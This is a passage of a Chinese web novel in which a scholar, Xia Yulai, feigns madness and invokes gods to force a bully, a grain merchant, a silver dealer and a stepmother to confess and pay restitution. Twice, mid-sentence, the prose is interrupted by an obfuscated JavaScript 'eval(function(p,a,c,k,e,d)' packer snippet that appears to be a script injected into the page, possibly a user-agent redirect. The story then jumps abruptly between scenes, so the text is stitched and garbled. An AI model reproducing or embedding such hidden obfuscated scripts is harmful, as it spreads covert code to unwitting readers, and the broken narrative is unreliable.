李虎强词夺理,“能离开已经是给你们面子了,你要是再敢胡搅蛮缠,我就对你不客气!” 他知道,这些百姓都是普通人家,没有什么后台,只要他坚持不赔偿,百姓们迟早会妥协。 夏雨来却依旧镇定自若,他转头看向张老爹,笑道:“张老爹,您是东门街最年长的人,也是庙会的常客,您来说说,李虎等人是不是该赔偿损失?” 张老爹连忙站起身,说道:“李虎,你太过分了!这庙会是百姓们期盼已久的盛会,大家都是来祈福、做买卖的,你却在此砸毁摊位、伤人夺财,让多少人蒙受损失!孙老实被你打伤,至少需要五十两医药费;绸缎摊主的损失更是惨重,一百两都不止;还有其他被砸的小吃摊、首饰摊,都有不小的损失!你必须全额赔偿这些损失,不然我们绝不会让你离开!” “是啊!我们都可以作证!李虎必须赔偿损失!” 其他被损失的摊主也纷纷站起身说道,“你要是不赔偿,我们就联名向官府告状,让你吃牢饭!” “我可以作证!李虎砸毁了我的摊位!” “李虎,你别想耍赖!” 周围的百姓们纷纷站起身,为受损的摊主和受伤的孙老实作证。他们早就受够了李虎的恶行,如今有夏雨来带头,自然不会再忍气吞声。而且张老爹早已按照夏雨来的吩咐,暗中联络了几十名年轻力壮的街坊,此刻都围了上来,形成了一道人墙,将李虎等人团团围住。 李虎看着眼前的一幕,脸色更加难看。他没想到,这么多百姓都敢站出来反抗他,而且还形成了联防之势,他的谎言根本站不住脚。 “你们…… 你们都是一伙的!” 李虎气急败坏地说道,“你们故意偏袒这个疯子!我才不信你们的话!” “偏袒?” 夏雨来冷笑一声,“我们只是说句公道话。这里这么多百姓,难道大家都在偏袒我们?难道大家的眼睛都瞎了?李虎,你要是真觉得自己没错,就敢不敢让开元寺的方丈来评评理?方丈乃是得道高僧,深得百姓敬重,他要是说你没错,我们不仅不要你赔偿损失,还会给你赔礼道歉;要是方丈说你有错,你就得全额赔偿损失,还要对着百姓们磕头认错!” 李虎心里一紧,他根本不敢让方丈来评理。开元寺的方丈为人正直,肯定会站在百姓这边,到时候他不仅要赔偿损失,还得磕头认错,颜面尽失。可他又不想在百姓们面前认怂,只能硬着头皮说道:“我…… 我为什么要让方丈来评理?这是我的事,我说了算!” “你不敢了吧?” 夏雨来哈哈大笑,“我就知道你不敢!你心里清楚,自己做错了事情,怕被方丈责罚!李虎,你要是个男人,就敢作敢当,赔偿百姓们的损失,磕头认错!” 百姓们也纷纷喊道:“李虎,敢作敢当!赔偿损失,磕头认错!” 李虎气得眼睛都红了,想要动手打夏雨来,却被周围的街坊们拦住了。“李虎,你想干什么?”“光天化日之下,你还想打人?” 就在这时,夏雨来忽然拿起手里的木鱼,朝着李虎的脚下敲去,嘴里喊道:“观音娘娘下令,邪魔歪道快认错!不然就让你即刻遭报应!” 说来也怪,李虎脚下一滑,竟然真的摔倒在地,摔了个四脚朝天。原来,夏雨来早就留意到李虎脚下的地面有一块松动的石板,故意朝着那里敲击,让他摔倒。 百姓们见状,都纷纷惊呼:“真的显灵了!观音娘娘发怒了!”“李虎,你快认错吧,不然真的会遭报应的!” 李虎吓得脸色惨白,他没想到自己竟然真的摔倒了,心里不禁有些发毛。他知道,这下再也无法抵赖了,要是再坚持不赔偿,百姓们肯定会群起而攻之,到时候他不仅要赔偿损失,还可能被打得鼻青脸肿,得不偿失。 可他又不想就这么赔偿,只能硬着头皮说道:“这…… 这只是巧合!我只是不小心摔倒了,不能说明什么!” “巧合?” 夏雨来冷笑一声,“是不是巧合,你我心里都清楚!观音娘娘说了,你要是再敢狡辩,就会让你当场断腿,让你尝尝亵渎神灵的滋味!” 他一边说,一边从怀里掏出一把香,点燃后插在香炉里,“香烛敬给观音娘娘,保佑我打败这些邪魔歪道,让百姓们讨回公道!” 李虎的手下们见状,都犹豫着不敢上前。他们都是潮州城本地人,也都敬畏神灵,心里害怕真的会遭报应。而且他们看到周围的百姓们都怒目而视,人数越来越多,心里也开始害怕起来。 李虎气得浑身发抖,却又无可奈何。他知道,夏雨来说的是实话,要是再坚持不赔偿,百姓们肯定会群起而攻之,到时候他损失更大。 四、第三计:疯揭滋事阴谋,逼其赔偿退 李虎虽然心里已经松动,但依旧不想全额赔偿损失,更不想磕头认错。他眼珠一转,说道:“我可以赔偿一部分损失,但想让我全额赔偿,还磕头认错,门都没有!而且这都是我的手下干的,跟我无关!” “不行!” 百姓们纷纷喊道,“你是领头的,所有的损失都得由你承担!而且你必须磕头认错,不然我们绝不会让你离开!” “我说是多少就是多少!” 李虎强词夺理,“能赔偿一部分已经是仁至义尽了,你们别得寸进尺!” 夏雨来却忽然停止了疯癫,眼神清明地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李虎心里一紧,他知道,要是真的被官府抓住拐卖妇女的证据,那可是重罪,不仅要被杖责,还要被流放,甚至可能被判死刑,得不偿失。而且他也确实看到远处有官府的差役正在赶来,心里更加害怕起来。 就在李虎犹豫不决时,夏雨来又恢复了疯疯癫癫的模样,跪倒在地,哭喊道:“观音娘娘,你快显灵!让这个黑心恶贼说实话,全额赔偿百姓们的损失,磕头认错,永远不要再踏入庙会一步!要是他再敢狡辩,就让他当场遭雷劈,死无全尸!” 周围的百姓们也纷纷跪倒在地:“观音娘娘显灵!让李虎赔偿损失,磕头认错!” 李虎吓得 “扑通” 一声跪倒在地,连连磕头:“观音娘娘饶命!我错了!我不该在庙会之上砸毁摊位、伤人夺财,不该想拐卖良家妇女!我愿意全额赔偿百姓们的损失,磕头认错,以后再也不来庙会捣乱了!求您饶了我这一次!” 夏雨来见状,哈哈大笑道:“黑心恶贼认罪啦!观音娘娘,您听到了吗?黑心恶贼认罪啦!” 他跑到李虎面前,指着他的鼻子骂道:“你这个黑心的恶贼,以后再敢在庙会之上滋事伤人、拐卖妇女,我就告诉观音娘娘,让她把你拖进十八层地狱,永世不得超生!” 李虎连连点头:“不敢了!我再也不敢了!” 五、疯戏传全城,庙会复安宁 李虎当场下令,让手下们拿出随身携带的银子,全额赔偿了受损摊主的损失和孙老实的医药费。随后,他又按照夏雨来的要求,对着百姓们磕了三个响头,认错道歉。做完这一切后,李虎带着手下们,在众人的唾骂声中,灰溜溜地离开了庙会。 百姓们拿着赔偿的银子,看着恢复秩序的庙会,个个脸上洋溢着幸福的笑容。绸缎摊主激动地说道:“夏秀才,太谢谢你了!要不是你,我的损失就再也讨不回来了!这庙会也被他们毁了!” “是啊!夏秀才,你真是我们的大救星!” 孙老实也感激地说道,“我的伤也有了医药费,以后逛庙会也不用再害怕地痞流氓了!” 夏雨来笑了笑,说道:“不用谢我,要谢就谢观音娘娘,谢大家团结一心。李虎之所以敢在庙会之上滋事伤人,就是因为他觉得百姓们势单力薄,会忍气吞声。只要我们团结一心,坚守公道,就没有什么能欺负我们,就没有什么能破坏我们的庙会安宁。” 开元寺的方丈也闻讯赶来,对着夏雨来拱手道:“夏秀才真是智勇双全!今日多亏了你,才保住了庙会的安宁,让百姓们能够安心祈福。老衲代表开元寺和所有百姓,向你表示感谢!” 夏雨来连忙回礼:“方丈客气了!保护庙会安宁,是每个百姓的责任。只要我们团结一心,就能战胜一切邪恶势力。” 李虎被赶走后,庙会又恢复了往日的热闹景象。说书人继续讲着精彩的故事,杂耍艺人表演着惊险的绝技,摊主们重新摆起了摊位,百姓们又开始逛庙会、祈福许愿,欢声笑语回荡在开元寺的上空。 夏雨来装疯卖傻智驱地痞的故事,迅速传遍了全城的大街小巷,成为了百姓们茶余饭后最热门的谈资。“你们听说了吗?夏秀才又装疯了!这次是为了赶走庙会的地痞流氓,帮百姓们讨回了损失!”“当然听说了!夏秀才被观音娘娘附身,不仅吓跑了李虎等人,还让他们全额赔偿了损失,磕头认错,太精彩了!”“真是太解气了!李虎这伙人作恶多端,早就该被严惩了!”“夏秀才太机智了!装疯卖傻不仅赶走了地痞,还保住了庙会的安宁,真是一举两得!” 阿翠的茶摊,依旧是百姓们谈论这件事的中心。每天都有不少百姓来这里喝茶,听阿翠详细讲述夏雨来装疯智驱地痞的经过,每次讲到精彩之处,都引来阵阵掌声和笑声。 这一天,庙会的摊主们和百姓们,特意制作了一块 “智勇双全,护庙安民” 的牌匾,送到了夏雨来的住处。夏雨来穿着干净的青布长衫,恢复了往日温文尔雅的模样,接过牌匾,对着百姓们拱手道:“诸位乡亲,这牌匾我不能收。真正护庙安民的,不是我,是公道,是大家团结一心的力量。只要我们团结一心,坚守公道,就没有什么能欺负我们,就没有什么能破坏我们的家园安宁。” 百姓们纷纷鼓掌叫好:“说得好!坚守公道,团结一心!” 阿翠笑着说道:“夏秀才,百姓们都为你编了新的歌谣,你想听听吗?” 夏雨来点了点头:“当然想。” 阿翠清了清嗓子,唱道:“夏秀才,真英勇,装疯卖傻驱地痞。认庙为灵惩恶徒,戳穿阴谋索赔偿,庙会安宁得保障,潮州城太平万年长!” 百姓们纷纷跟着合唱起来,歌声回荡在东门街的上空,与阿翠茶摊的铜壶煮茶声交织在一起,充满了欢乐和感激。 阳光透过老榕树的枝叶,洒下斑驳的光影,照在百姓们幸福的脸上。开元寺的庙会依旧热闹非凡,百姓们在庙会之上祈福许愿、欢声笑语,再也不用担心地痞流氓的骚扰了。 自此,夏雨来 “装疯卖傻驱地痞” 的故事,成为了潮州城又一段不朽的佳话。百姓们将这个故事与之前戏耍陈老财、保护老榕树、护古井、揭布奸、治恶犬、辨田契的故事一起,代代相传,告诫后人:公道自在人心,团结就是力量,只要有勇气和智慧,就能战胜一切邪恶势力,保护好自己的家园和安宁。 而鬼才秀才夏雨来的名字,也永远与这场智驱地痞、保护庙会的壮举一起,深深烙印在潮州城百姓的心中,成为了正义与智慧的象征。 30. 秀才扬名 一、声名鹊起,门庭若市 庙会智驱地痞的故事,像长了翅膀似的,三日内便传遍了潮州城的大街小巷,甚至传到了周边的澄海、揭阳等县镇。说书人将夏雨来的事迹改编成话本,在茶馆里连番开讲,讲到 “香灰驱邪”“木鱼镇恶” 时,台下百姓无不拍案叫好;戏班子也赶排了《秀才疯游记》的小戏,每场演出都座无虚席;孩子们更是传唱着阿翠编的歌谣,走街串巷,将 “夏雨来” 三个字烙进了每个百姓的心里。 昔日冷清的东门街,如今成了潮州城最热闹的去处。夏雨来的住处原本是一间简陋的小院,门前只栽着一棵老槐树,如今却被百姓们围得水泄不通。天刚蒙蒙亮,就有来自四面八方的百姓赶来求助,有的背着铺盖卷在门口排队,有的提着自家种的蔬菜、养的鸡鸭作为谢礼,还有的带着孩子,让孩子给夏雨来磕头,称他为 “活菩萨”。 “夏秀才,您可得为我做主啊!” 一位白发苍苍的老妇人跪在门前,手里捧着一个布包,哭得泣不成声,“城西的张记银铺,把掺了铅的银子当纹银卖给我,我攒了一辈子的养老钱,就这么被骗了!” “夏秀才,我家的牛被邻村的恶霸抢走了,官府不管,您快想想办法!” 一个年轻的农夫急得满头大汗,双手紧紧攥着拳头,“那牛是我家种地的命根子,没了牛,今年的收成可就全完了!” “夏秀才,我女儿被媒婆骗了,嫁给了一个赌鬼,现在被打得遍体鳞伤,您快救救她!” 一个中年男子声泪俱下,身后跟着一个面带泪痕、衣衫褴褛的女子。 夏雨来每日天不亮就起身,接待一波又一波的求助百姓。他耐心地听着每个人的遭遇,仔细询问细节,将事情的来龙去脉一一记下。阿翠也赶来帮忙,推着茶摊摆在夏雨来家门口,给排队的百姓们免费倒茶,张老爹、孙老实等街坊也主动过来维持秩序,帮忙照看老人和孩子。 可求助的百姓实在太多,小院门前的队伍排了足足半条街,有的人甚至等了两三天都没能见到夏雨来。有街坊提议:“夏秀才,不如找个宽敞的地方,比如开元寺的偏殿,集中接待百姓,这样也方便些。” 夏雨来觉得有理,便托开元寺的方丈帮忙,将接待地点迁到了寺内的偏殿。 消息传开后,赶来求助的百姓更多了。开元寺的偏殿里挤满了人,殿外的空地上也摆满了各式各样的担子、包袱,百姓们井然有序地排队,低声诉说着自己的遭遇,眼神里充满了对夏雨来的信任和期盼。 夏雨来看着眼前这些面带愁容的百姓,心里既感动又沉重。他知道,百姓们之所以如此信任他,是因为他一次次替他们讨回了公道,是因为在他们走投无路时,自己成了他们唯一的希望。“诸位乡亲,” 夏雨来站起身,对着众人拱手道,“多谢大家信任!只要是关乎公道、关乎百姓生计的事,我夏雨来定当尽力相助!只是事情有轻重缓急,还请大家耐心等候,我会一一处理,绝不辜负大家的期望!” 百姓们闻言,纷纷鼓掌叫好,殿内响起了雷鸣般的掌声。可就在这时,一个不和谐的声音响起:“哼,装模作样!不过是个只会装疯卖傻的穷秀才,真以为自己能上天入地?” 众人循声望去,只见一个身着锦缎长袍、头戴方巾的中年男子,正带着两个家仆,大摇大摆地走进偏殿。此人是潮州城有名的粮商柳万山,为人刻薄吝啬,常常囤积居奇、哄抬粮价,百姓们对他敢怒不敢言。柳万山此次前来,并非求助,而是听说夏雨来声名大噪,心里不服气,特意来挑衅的。 “柳老板,你这话是什么意思?” 孙老实看不下去,上前一步质问道,“夏秀才替百姓们做了多少好事,你凭什么在这里说风凉话?” 柳万山冷笑一声,瞥了孙老实一眼:“老东西,这里有你说话的份吗?我倒是要看看,这个只会装神弄鬼的秀才,能不能解决真正的麻烦!” 他转头看向夏雨来,语气傲慢地说道,“夏雨来,我听说你很有本事,能替人讨回公道。我最近遇到点事,你要是能帮我解决,我就服你;要是解决不了,就别在这里招摇撞骗,误人子弟!” 夏雨来眉头微皱,他早就听说过柳万山的恶行,知道此人此次前来没安好心。但他还是平静地说道:“柳老板有话不妨直说,若是合理合法、关乎公道之事,我自然会帮;若是为非作歹、欺压百姓之事,恕我无能为力。” 柳万山哈哈大笑道:“爽快!我最近从外地进了一批粮食,却被一伙强盗劫了,损失了上千两银子。官府追查了半个月,连强盗的影子都没找到。你不是很有本事吗?要是能帮我找回粮食,或者抓住强盗,我就给你一百两银子作为谢礼;要是做不到,就请你从此闭门谢客,再也别管别人的闲事!” 众人闻言,都纷纷议论起来。“强盗可不是好对付的,官府都查不到,夏秀才怎么可能找到?”“柳万山这分明是故意刁难!”“夏秀才可别上他的当!” 夏雨来心里清楚,柳万山这是故意给他出难题。强盗行踪不定,又凶残暴戾,想要找到他们谈何容易。可他也知道,若是退缩,不仅会让柳万山得逞,还会让百姓们失望。沉思片刻后,夏雨来嘴角勾起一抹熟悉的笑容:“柳老板此言当真?若是我能帮你找回粮食,你不仅要支付一百两银子谢礼,还得答应我一件事 —— 今后不得囤积居奇、哄抬粮价,要以公道价格卖给百姓,让百姓们都能买得起粮食。” 柳万山没想到夏雨来竟然敢答应,心里暗自得意,觉得自己必胜无疑。他拍着胸脯说道:“好!我答应你!若是你能做到,我不仅给你一百两银子,还会按公道价格卖粮!若是做不到,你就得乖乖听我的话,从此不再多管闲事!” “一言为定!” 夏雨来伸出手,与柳万山击掌为誓。 百姓们都为夏雨来捏了一把汗,可夏雨来却一脸镇定,仿佛胸有成竹。他心里早就有了打算:柳万山的粮食被劫,看似棘手,但强盗劫粮后,必然要找地方销赃。潮州城及周边的粮铺、大户人家,近期肯定会有来历不明的粮食出售。只要顺着这条线索追查,再利用自己 “疯癫” 的身份,或许能找到突破口。 二、智查劫粮案,疯癫识盗踪 当日午后,夏雨来便换上了一身 “行头”—— 依旧是披头散发,穿着一件沾满泥土的麻布衣裳,腰间系着一串用稻穗和铜钱串成的 “项链”,手里拿着一根缠着稻草的木杖,活脱脱一个 “粮神附身” 的疯癫农夫模样。他嘴里念念有词:“粮神爷,显灵验,粮食是百姓命根子,谁劫粮食遭天谴,断子绝孙无人怜……” 他没有直接去追查强盗的踪迹,而是先来到了潮州城最大的粮市 —— 西市粮行。西市粮行是潮州城粮食交易的中心,每天都有来自各地的粮商、农户前来交易,人流量极大。夏雨来疯疯癫癫地走进粮行,不顾众人的目光,径直走到粮行的中央,抱着一堆稻谷,呜呜咽咽地哭了起来:“粮神爷啊!你的孩子们怎么被强盗劫走了?百姓们没有粮食吃,就要饿死了,你快显灵,告诉我强盗在哪里啊!” 粮行的掌柜见状,连忙让人去驱赶:“哪里来的疯子?快给我滚开!别在这里影响生意!” 夏雨来却死死抱着稻谷,一边躲闪一边哭喊:“不许碰!这些都是粮神爷的孩子,你们碰了就是亵渎神灵,会遭天谴的!我是粮神爷附身,来寻找被劫的粮食,惩治强盗的!” 他忽然站起身,指着粮行里的一个粮商,疯疯癫癫地骂道:“你这个黑心的粮商!粮神爷让你好生经营粮食,你却勾结强盗,私藏劫来的粮食!你会遭报应的!你仓库里的粮食都会发霉变质,让你血本无归!” 那个粮商吓得脸色惨白,连忙摆手:“疯子胡言乱语!我没有勾结强盗,更没有私藏劫来的粮食!你可别冤枉好人!” 夏雨来哈哈大笑道:“冤枉你?粮神爷早就告诉我了,你最近进了一批粮食,来历不明,价格比市场价低了三成,不是劫来的是什么?你要是再不承认,粮神爷就会让你当场暴毙!” 粮商的脸色更加难看,眼神里充满了慌乱。原来,此人确实从一伙陌生人手里低价收购了一批粮食,对方声称是 “自家种的,急于脱手”,他贪图便宜,便没有多问。如今被夏雨来这么一骂,心里顿时慌了神,生怕真的是劫来的粮食。 周围的粮商和百姓们见状,都纷纷围了上来,七嘴八舌地议论起来。“怪不得他的粮食这么便宜,原来是劫来的!”“夏秀才真是粮神附身了,一眼就看穿了!”“快让他把粮食交出来,不然就报官!” 粮商被众人逼得走投无路,只能如实说道:“我…… 我确实不知道这粮食是劫来的!那伙人是三天前找到我的,说他们是外地的粮商,遇到了急事,急于脱手粮食,我才以低价收购的。他们说粮食存放在城外的破庙里,让我自己去运!” “破庙在哪里?” 夏雨来连忙问道。 “就在城外十里坡的山神庙里!” 粮商连忙回答。 夏雨来心里一喜,知道自己找对了线索。他立刻对周围的百姓们说道:“诸位乡亲,粮神爷已经显灵,告诉我们被劫的粮食就在十里坡的山神庙里!我们现在就去把粮食找回来,惩治强盗!” 百姓们闻言,都纷纷响应:“好!我们跟夏秀才一起去!”“抓住强盗,夺回粮食!” 张老爹、孙老实等街坊也纷纷抄起扁担、锄头,跟着夏雨来一起前往十里坡。柳万山也带着家仆跟在后面,他心里半信半疑,既希望夏雨来能找回粮食,又觉得这一切太过蹊跷。 一行人浩浩荡荡地朝着十里坡出发,一路上,夏雨来依旧疯疯癫癫地唱着歌谣:“粮神爷,引路忙,强盗藏在山神庙,为民除害显神通,粮食归仓百姓安……” 来到十里坡的山神庙前,只见庙门紧闭,里面静悄悄的,看不出任何异常。柳万山的家仆上前推了推庙门,发现庙门从里面锁上了。“里面肯定有人!” 一个家仆喊道,想要破门而入。 夏雨来连忙拦住他,说道:“不可鲁莽!强盗手里有武器,硬拼恐会受伤。我自有办法让他们出来!” 他走到庙门前,拿起手里的木杖,对着庙门敲了敲,嘴里喊道:“粮神爷有令,庙内强盗听着!你们劫走百姓的粮食,罪大恶极,若再执迷不悟,即刻就会遭天打雷劈,死无全尸!若能主动交出粮食,束手就擒,粮神爷或许还能饶你们一条性命!” 庙内顿时传来一阵骚动,紧接着,一个粗哑的声音喊道:“哪里来的疯子?竟敢在这里胡言乱语!再不走,老子就放箭了!” 话音刚落,几支箭便从庙门的缝隙里射了出来,幸好众人躲闪及时,才没有受伤。 夏雨来却丝毫不惧,继续喊道:“强盗作恶,天怒人怨!粮神爷已经发怒,你们再不出来,庙顶就会坍塌,把你们活活压死!” 他一边喊,一边让孙老实等人悄悄绕到庙后,点燃了事先准备好的艾草。艾草燃烧产生的浓烟顺着庙后的窗户飘进庙里,呛得强盗们连连咳嗽。 “不好了!着火了!” 庙内传来强盗们的惊呼,紧接着,庙门被打开,几个衣衫不整、满脸烟灰的强盗冲了出来,想要逃跑。 早已埋伏在周围的百姓们见状,纷纷抄起扁担、锄头,一拥而上,将强盗们团团围住。这些强盗虽然手里有武器,但被浓烟呛得头晕眼花,又被百姓们的气势吓到,一时之间乱作一团。 夏雨来趁机冲上前,用木杖打掉了一个强盗手里的刀,喊道:“放下武器,束手就擒!不然休怪我们不客气!” 百姓们也纷纷呐喊助威,强盗们见状,知道大势已去,只能放下武器,乖乖投降。 众人冲进庙里,果然在里面找到了柳万山被劫的粮食,足足有几十袋,堆得像小山一样。柳万山看着失而复得的粮食,又惊又喜,他没想到夏雨来竟然真的能找到强盗,找回粮食。 “夏秀才,你…… 你真是太厉害了!” 柳万山走上前,对着夏雨来拱手道,“我服了!从今往后,我一定按公道价格卖粮,绝不囤积居奇!这一百两银子,是我的谢礼,请你收下!” 夏雨来却摆了摆手,说道:“谢礼就不必了!我只希望你能言而有信,让百姓们都能买得起粮食。这些强盗,就交给官府处理吧!” 百姓们见状,都纷纷鼓掌叫好,对着夏雨来竖起了大拇指。“夏秀才真是大公无私!”“这才是真正的为民做主!” 很快,官府的差役便赶到了,将强盗们押回县衙审问。据强盗们交代,他们是一伙流窜作案的惯犯,专门在各地抢劫粮商,没想到这次栽在了夏雨来手里。 三、巧断银铺案,疯癫辨真伪 解决了柳万山的劫粮案后,夏雨来的名声更响了,前来求助的百姓也更多了。开元寺的偏殿里,每天依旧人来人往,夏雨来依旧耐心地接待着每一位百姓,替他们排忧解难。 这日,之前跪在夏雨来门前求助的白发老妇人,再次来到偏殿。她手里依旧捧着那个布包,眼神里充满了期盼。“夏秀才,” 老妇人哽咽着说道,“城西张记银铺的老板,不仅不承认卖了掺铅的银子,还骂我无理取闹,把我赶了出来。您快帮我想想办法,那可是我一辈子的养老钱啊!” 夏雨来接过老妇人手里的布包,打开一看,里面装着几锭银子。他拿起一锭银子,放在手里掂了掂,又用指甲刮了刮,发现银子的颜色发暗,质地也比纯银粗糙。他心里清楚,这银子确实掺了铅。 “老夫人,您放心,我一定帮您讨回公道!” 夏雨来安慰道。 当日下午,夏雨来便换上了 “行头”,这次他穿着一件破烂的道袍,披头散发,手里拿着一面铜镜,腰间系着一串铜钱,活脱脱一个 “银神附身” 的疯癫道士模样。他嘴里念念有词:“银神爷,显灵验,银子本是百姓财,谁掺铅汞遭天谴,倾家荡产无人怜……” 他径直来到城西的张记银铺。张记银铺的老板张富贵,是个尖酸刻薄的人,平日里常常在银子里掺铅,以次充好,赚取黑心钱。此时,张富贵正在铺子里算盘,看到夏雨来疯疯癫癫地走进来,连忙皱起眉头,说道:“哪里来的疯子?快给我滚开!别在这里影响生意!” 夏雨来却不理会他,径直走到柜台前,拿起柜台上的一锭银子,紧紧抱在怀里,呜呜咽咽地哭了起来:“银神爷啊!你的孩子们怎么被人掺了铅?百姓们辛辛苦苦赚来的钱,就这样被黑心老板骗了,你快显灵,惩治这个黑心贼啊!” 张富贵心里一惊,他没想到这个疯子竟然知道自己在银子里掺铅。但他还是强装镇定,说道:“疯子胡言乱语!我这银铺里的银子,都是纯银打造,绝无掺假!你再在这里胡说八道,我就对你不客气了!” “纯银?” 夏雨来哈哈大笑道,“好啊!你说这是纯银,那你敢不敢让银神爷鉴定一下?银神爷的镜子,能照出银子的真伪,谁要是掺了假,一照便知!” 他一边说,一边举起手里的铜镜,对着柜台上的银子照了照,然后说道:“银神爷说了,这银子里掺了铅,颜色发暗,质地粗糙,根本不是纯银!你这个黑心老板,竟敢欺骗百姓,亵渎银神,你会遭报应的!你的银铺会失火,你的银子会发霉,让你一无所有!” 周围的顾客们见状,都纷纷围了上来,七嘴八舌地议论起来。“怪不得我上次在这买的银子,感觉不对劲,原来是掺了铅!”“张老板,你快给大家一个说法!”“夏秀才可是神眼,他说掺了铅,肯定就是掺了!” 张富贵的脸色一阵青一阵白,他没想到这个疯子竟然真的能看出银子掺了铅,而且还吸引了这么多顾客围观。他知道,要是事情闹大,不仅会影响生意,还可能被官府追究责任。 “你…… 你别在这里妖言惑众!” 张富贵气急败坏地说道,想要上前抢夺夏雨来手里的铜镜。 可夏雨来却突然将铜镜一扔,说道:“银神爷发怒了!你要是再不承认,就会有更严重的报应!” 说来也怪,就在这时,银铺后院突然传来一阵惊呼:“着火了!后院着火了!” 张富贵吓得脸色惨白,连忙朝着后院跑去。原来,夏雨来早就让孙老实等人埋伏在银铺后院,趁着张富贵注意力被吸引时,点燃了后院的一堆干草。火势不大,很快就被扑灭了,但也把张富贵吓得魂飞魄散。 张富贵回到前铺,看着眼前的夏雨来,心里再也不敢有丝毫侥幸。他知道,这个疯子绝不是普通人,要是再坚持不承认,说不定真的会有更严重的报应。 “我…… 我承认!” 张富贵跪倒在地,连连磕头,“我错了!我不该在银子里掺铅,欺骗百姓!我愿意把掺铅的银子都换成纯银,赔偿老夫人的损失,还请银神爷饶了我!” 夏雨来见状,哈哈大笑道:“黑心老板认罪啦!银神爷,你听到了吗?黑心老板认罪啦!” 他转头对老妇人说道:“老夫人,你现在可以拿着银子,让张老板给你换成纯银了!” 老妇人激动得热泪盈眶,连忙走上前,将手里的掺铅银子递给张富贵。张富贵不敢怠慢,连忙让人拿出纯银,给老妇人换了,还额外多给了一锭银子作为赔偿。 周围的顾客们见状,都纷纷鼓掌叫好,对着夏雨来拱手道:“夏秀才真是神通广大!”“以后买银子,再也不用担心被坑了!” 张富贵也对着夏雨来拱手道:“夏秀才,多谢你手下留情!从今往后,我再也不敢在银子里掺铅了,一定诚信经营!” 夏雨来摆了摆手,说道:“做生意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王氏心里一惊,她没想到这个疯子竟然知道自己夺家产的事情。但她还是强装镇定,说道:“疯子胡言乱语!这家产是我丈夫留给我的,我想给谁就给谁,跟你有什么关系?你再在这里胡说八道,我就对你不客气了!” “留给你的?” 夏雨来哈哈大笑道,“好啊!你说这是你丈夫留给你的,那你敢不敢让祖神爷鉴定一下你手里的遗嘱?祖神爷的眼睛,能看穿一切谎言,谁要是伪造遗嘱,一照便知!” 他一边说,一边从怀里掏出一张黄纸,点燃后扔向空中,说道:“祖神爷有令,伪造遗嘱者,即刻就会遭报应!” 王氏的脸色一阵青一阵白,她手里的遗嘱确实是伪造的,是她找人模仿丈夫的笔迹写的。她心里害怕,可又不想在娘家人面前丢了面子,只能强装镇定地说道:“我没有伪造遗嘱!这遗嘱是真的,有我丈夫的亲笔签名和手印!” “真的?” 夏雨来走到堂屋,拿起牌位前的香炉,说道,“祖神爷说了,要是遗嘱是真的,香炉里的香就会越烧越旺;要是遗嘱是假的,香炉里的香就会立刻熄灭!” 众人都纷纷看向香炉里的香,只见香原本烧得正旺,可没过多久,竟然真的慢慢熄灭了。原来,夏雨来早就在香里掺了一些特殊的粉末,遇到一定的温度就会熄灭,他算准时间,正好在王氏说完话后,香就熄灭了。 王氏和她的娘家兄弟见状,都吓得脸色惨白。王氏的二哥王豹是个迷信的人,看到香突然熄灭,心里顿时慌了神,说道:“姐,这…… 这不会是真的吧?祖神爷真的显灵了?” 王氏心里也开始发毛,可她还是硬着头皮说道:“这…… 这只是巧合!不能说明什么!” “巧合?” 夏雨来冷笑一声,“是不是巧合,你我心里都清楚!祖神爷说了,你要是再敢狡辩,就会让你断子绝孙,不得好死!而且你丈夫的鬼魂,也会夜夜缠着你,让你不得安宁!” 他一边说,一边突然朝着王氏扑去,嘴里喊道:“你丈夫的鬼魂附在我身上了!他让我来问你,你为什么要伪造遗嘱,抢夺他儿子的家产?你为什么要虐待他的儿子?” 王氏被夏雨来的举动吓得魂飞魄散,连连后退,嘴里喊道:“别过来!别过来!我错了!我不该伪造遗嘱,不该抢夺家产!我愿意把家产还给小宝,求你饶了我!” 她的两个娘家兄弟见状,也纷纷劝道:“姐,既然祖神爷都显灵了,你就把家产还给小宝吧!不然真的会遭报应的!” 夏雨来见状,哈哈大笑道:“黑心毒妇认罪啦!祖神爷,你听到了吗?黑心毒妇认罪啦!” 他转头对李小宝说道:“小宝,你现在可以让你继母把家产还给你了!” 李小宝激动得热泪盈眶,连忙点了点头。王氏不敢怠慢,连忙让人拿出家产文书,当着众人的面,将三间瓦房和五亩田地都还给了李小宝,还写下了字据,保证以后再也不虐待他,会好好照顾他。 周围的邻居们见状,都纷纷鼓掌叫好,对着夏雨来拱手道:“夏秀才真是为民做主!”“小宝终于有救了!” 王氏的两个娘家兄弟也对着夏雨来拱手道:“夏秀才,多谢你手下留情!我们以后再也不敢帮着我姐作恶了!” 夏雨来摆了摆手,说道:“为人继母,当有慈爱之心;为人长辈,当有庇护之责。希望你能言而有信,好好照顾小宝,不然祖神爷还会惩罚你的!” 王氏连连点头:“我会的!我一定会好好照顾小宝的!” 说完,夏雨来便疯疯癫癫地离开了李小宝家,留下身后一片感激声。 五、名扬四方,公道永存 夏雨来接连解决了劫粮案、银铺掺假案、继母夺产案等一系列棘手的事情,名声传遍了潮州城及周边府县,百姓们都称他为 “疯癫神医”“公道秀才”。前来求助的百姓络绎不绝,夏雨来总是有求必应,用他独特的 “疯癫” 方式,替百姓们讨回公道,惩治恶人。 他替被欺压的佃户要回了被霸占的田地,替被欺骗的商贩追回了损失,替受虐待的妇女儿童撑起了一片天。他的事迹被百姓们口口相传,成为了潮州城最动人的传说。 官府也对夏雨来刮目相看,知府大人特意召见了他,想要任命他为县衙的幕僚,协助处理民间纠纷。可夏雨来却婉言拒绝了,他说道:“大人,我只是一个普通的秀才,只想替百姓们做点实事。官场的规矩太多,反而会束缚我的手脚。我宁愿做一个逍遥自在的‘疯癫秀才’,游走在市井之间,替百姓们排忧解难。” 